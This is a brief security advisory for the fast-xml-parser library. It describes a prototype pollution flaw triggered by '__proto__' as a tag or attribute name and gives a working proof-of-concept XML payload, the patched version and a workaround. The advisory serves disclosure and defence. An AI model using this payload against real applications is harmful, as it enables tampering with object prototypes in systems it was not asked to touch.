fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name
### Impact
As a part of this vulnerability, user was able to se code using `__proto__` as a tag or attribute name.
```js
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
console.log(jObj.polluted) // should return hacked
```
### Patches
The problem has been patched in v4.1.2
### Workarounds
User can check for "__proto__" in the XML string before parsing it to the parser.
### References
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7